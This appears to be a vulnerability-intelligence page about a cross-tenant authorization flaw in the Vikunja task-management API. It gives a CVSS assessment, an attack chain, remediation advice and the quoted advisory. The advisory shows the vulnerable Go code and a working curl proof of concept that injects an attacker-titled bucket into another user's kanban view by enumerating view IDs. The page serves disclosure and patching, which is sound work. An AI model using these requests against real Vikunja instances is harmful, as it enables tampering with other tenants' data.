Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAuthenticate to Vikunja instance
-
DeliveryCreate bucket in attacker-owned project
-
ExploitEnumerate sequential project_view_id integers
-
ExecutionPOST bucket update with victim view ID in body
-
ImpactBucket injected into victim's kanban view
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V8 - Authorization Object-level authorization, IDOR prevention
|
| Exploitation Conditions | The attacker must hold a valid authenticated session on the target Vikunja instance (any registered user account suffices; no elevated privileges required). The deployment must be multi-tenant - meaning at least one other user owns a separate project with a kanban view. The attacker needs a valid |
| Impact | The CVSS 3.1 vector (AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:N, score 5.0) accurately represents the threat: network-reachable, low complexity, requiring only a valid authenticated session (PR:L), with a scope change (S:C) because impact crosses tenant authorization boundaries. Integrity is low (I:L) - the attacker can inject arbitrary bucket titles into a victim's view but cannot read the victim's data, so confidentiality and availability are unaffected. A working POC is publicly documented in the advisory, materially lowering the exploitation barrier compared to a theoretical flaw. EPSS data was not provided in the intelligence feed. There is no CISA KEV listing, so active exploitation is unconfirmed. Real-world risk is meaningful for publicly accessible multi-tenant Vikunja instances where self-registration is enabled - any registered user becomes a potential attacker. Single-user, private, or access-restricted instances face negligible practical risk. The CVSS score is internally consistent with the described impact and is not inflated. |
| Exploit ScenarioDerived | An attacker registers or logs into a public Vikunja instance, creates a bucket in their own project, then issues sequential integers as |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Aug 28, 2026
Cross-tenant kanban bucket injection in Vikunja API (≤ 2.3.0) allows any authenticated user to relocate their own bucket into any other tenant's project view by supplying an arbitrary project_view_id in the JSON request body of the bucket update endpoint. The Bucket.Update() function in pkg/models/kanban.go mass-assigns project_view_id directly to the database row via xorm, while the CanUpdate authorization check only validates the URL path parameters - never the body field. A detailed curl-based proof-of-concept is publicly available in the GitHub security advisory GHSA-569v-q83c-3j3g, though no active exploitation has been confirmed (not in CISA KEV).
RemediationAI
Upgrade Vikunja API to version 2.4.0 or later, available at https://github.com/go-vikunja/vikunja/releases/tag/v2.4.0. The fix (PR #3239, commit b31d606b8879ebe98fbb2ac5d8b3066b86f59868) removes project_view_id from the mass-assignment column allowlist in Bucket.Update() and rejects payloads where the body's project_view_id does not match the bucket's existing value. If immediate upgrade is not feasible, operators of public multi-tenant instances can restrict self-registration to limit the attacker pool (trade-off: reduces usability for new users). Alternatively, a WAF or reverse-proxy rule blocking project_view_id in the body of POST /api/v1/projects/*/views/*/buckets/* requests would prevent exploitation but may break any future legitimate move-bucket feature. There is no known workaround that fully mitigates without patching.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in go, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Vikunja is an open-source Go-based task management application (code.vikunja.io/api) that uses the xorm ORM for database operations. The vulnerable endpoint POST /api/v1/projects/{project}/views/{view}/buckets/{bucket} calls Bucket.Update() in pkg/models/kanban.go (lines 348-359), which passes project_view_id as a column in an xorm Cols() update call - a textbook mass-assignment pattern where user-controlled body fields are written directly to the database. CWE-639 (Authorization Bypass Through User-Controlled Key) applies precisely: the authorization check (canDoBucket) validates only the URL path's bucket-to-project/view binding, but the body's project_view_id - a user-controlled relational foreign key - bypasses this check entirely and is persisted unchecked. Because project_view_id values are sequential integers, an attacker can trivially enumerate other tenants' view IDs via brute force.
Know when the next one hits your stack
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:N
Authenticated network exploit crossing tenant boundaries justifies S:C and PR:L; write-only defacement yields I:L with no confidentiality or availability impact.
Primary rating from Vendor (https://github.com/go-vikunja/vikunja).
CVSS VectorVendor: https://github.com/go-vikunja/vikunja
DescriptionCVE.org
Summary
POST /api/v1/projects/{project}/views/{view}/buckets/{bucket} mass-assigns the request body's project_view_id onto the bucket row. The permission check only verifies that the URL-supplied bucket already belongs to the URL-supplied (project, view) pair; the body's project_view_id is never validated. Any signed-in user can therefore take one of their own buckets and graft it into any other tenant's kanban view, with attacker-controlled title and the attacker's account as created_by.
This vulnerability was found using an LLM, and manually verified against latest (2.3.0).
Vulnerable code
pkg/models/kanban.go (lines 348-359):
func (b *Bucket) Update(s *xorm.Session, _ web.Auth) (err error) {
_, err = s.
Where("id = ?", b.ID).
Cols(
"title",
"limit",
"position",
"project_view_id", // mass-assigned from the request body
).
Update(b)
return
}Bucket.CanUpdate (canDoBucket) only validates that the URL-supplied {bucket} belongs to the URL-supplied {project}/{view}. The body's project_view_id reaches Update unchecked and is written through.
Proof of Concept
Prerequisites: Two registered users (attacker and victim). In the IDs below: attacker's project is 2, kanban view 8; victim's project is 1, kanban view 4.
Step 1: Attacker creates a fresh bucket in their own project.
curl -s -X PUT 'http://localhost:13456/api/v1/projects/2/views/8/buckets' \
-H 'Authorization: Bearer <attacker_token>' \
-H 'Content-Type: application/json' \
-d '{"title":"PWNED BUCKET"}' | jq '.id'
# Returns: 7Step 2: Attacker updates bucket 7, supplying project_view_id = victim's view ID. The URL chain is the attacker's, so CanUpdate passes; the body field is written through without further checks.
curl -s -X POST 'http://localhost:13456/api/v1/projects/2/views/8/buckets/7' \
-H 'Authorization: Bearer <attacker_token>' \
-H 'Content-Type: application/json' \
-d '{"title":"PWNED BUCKET","limit":0,"project_view_id":4}' | jq '{id,title,project_view_id}'
# Returns: {
# "id": 7,
# "title": "PWNED BUCKET",
# "project_view_id": 4
# }Step 3: Victim lists buckets in their own view; the attacker's bucket is now there, owned by the attacker.
curl -s 'http://localhost:13456/api/v1/projects/1/views/4/buckets' \
-H 'Authorization: Bearer <victim_token>' | jq '[.[]|{id,title,created_by:.created_by.username}]'
# Returns: [
# {"id":7,"title":"PWNED BUCKET","created_by":"attacker"},
# {"id":1,"title":"To-Do","created_by":"victim"},
# {"id":2,"title":"Doing","created_by":"victim"},
# {"id":3,"title":"Done","created_by":"victim"}
# ]After relocation the attacker can no longer reach the row (it lives in the victim's view), so only the victim can delete the graffiti. project_view_id is a sequential integer, so any tenant's view can be targeted by enumeration.
Impact
Any signed-in user can inject arbitrary-titled buckets into any other tenant's kanban view. Most likely exploitation here would be graffiti/defacement.
Fix
In (b *Bucket) Update, drop project_view_id from the Cols(...) allowlist (mass-assignment fix) and reject body payloads where project_view_id != bucket.ProjectViewID. If legitimate "move bucket between views" is a needed feature, expose it as a dedicated endpoint that calls CanUpdate against both the source and destination view.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.
EUVD-2026-67834
GHSA-569v-q83c-3j3g
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB